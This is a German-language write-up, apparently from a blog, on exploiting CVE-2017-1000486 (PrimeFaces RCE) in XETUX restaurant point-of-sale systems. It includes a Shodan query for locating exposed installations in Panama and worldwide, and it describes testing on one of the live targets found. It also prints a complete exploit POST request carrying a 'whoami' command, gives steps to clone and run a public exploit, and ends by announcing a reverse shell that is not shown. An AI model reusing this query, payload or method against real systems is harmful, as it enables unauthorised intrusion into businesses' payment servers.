
Ausnutzung CVE-2017-1000486
Bei dieser Gelegenheit sind wir zufällig auf eine Schwachstelle gestoßen, die in mehreren POS-Anwendungen für Restaurants XETUX vorhanden ist, einer Lösung zur Überwachung und Automatisierung von Restaurants. In Panama wird dieses Tool von vielen Restaurants häufig genutzt.
Die vorliegende Schwachstelle ist eine RCE (Remote Code Execution), die es Angreifern ermöglicht, Code ohne Authentifizierung auszuführen und Privilegien auf dem Ziel zu erlangen.

Nachdem wir die Existenz einer Bibliothek in der Xetux-Anwendung entdeckt hatten – die betreffende Bibliothek heißt Primefaces und ist für die PDF-Generierung zuständig – beschlossen wir, eine Suche auf Shodan durchzuführen, um mögliche Ziele zu identifizieren.
http.title:"@XETUX" country:PA
Die Suche ergab 40 Ergebnisse und 334 weltweit.

Wir überprüfen die Schwachstelle an einem der Ziele, die sich nicht in Panama befanden. Bei der Analyse der Ergebnisse des Backends

Wir können sehen, dass die Anwendung mit allen Berechtigungen nt authoriy\system installiert wurde. Wir erklären im Folgenden, was passiert:
Die Anwendung verwendet einen Apache Tomcat als Server, für das Backend wird Java verwendet. In der Anwendung wird eine Bibliothek oder ein Drittanbieter-Plugin namens Primefaces verwendet. Der Pfad mit dem Problem ist der Endpoint javax.faces.resource/dynamiccontent.properties.xhtml.
Bei der Suche nach dieser Bibliothek fanden wir eine Schwachstelle. Primefaces lädt dynamischen Inhalt wie folgt:
/javax.faces.resource/dynamiccontent.properties.jsf?ln=primefaces&pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl&forcereload=1523006610695&pfdrid_c=true
Das Problem befindet sich im Parameter pdfid
pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl
Der Wert des Parameters ist verschlüsselt und es gibt keine Möglichkeit zu überprüfen, ob die Anforderung korrekt entschlüsselt wird. Leider können, wenn die Werte des Standardschlüssels nicht geändert werden, die Erstellung eines Standardschlüssels angefordert werden. Glücklicherweise für uns behielten alle durchgeführten Tests den Standardschlüssel bei.
Ebenso könnte ein Padding-Oracle-Angriff durchgeführt werden, um den Schlüssel mit dem Tool Padbuster zu erhalten. Im Folgenden teilen wir die Anforderung:
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: ip:9090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 1643
pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=whoami
Wie bereits erwähnt, enthält die Bibliothek Primefaces die RCE, für die es einen öffentlichen Exploit gibt: CVE-2017-1000486
Wir testen die Schwachstelle, indem wir den Exploit herunterladen
git clone https://github.com/pimps/CVE-2017-1000486.git
cd CVE-2017-1000486
pip3 install -r requirements.txt
Wir führen den Exploit aus

Dieser wird uns einen Schlüssel und die Anforderung liefern

Er wird uns das Ergebnis des Befehls zurückgeben

Jetzt werden wir eine Reverse Shell erhalten, um Zugriff auf den Server zu bekommen:
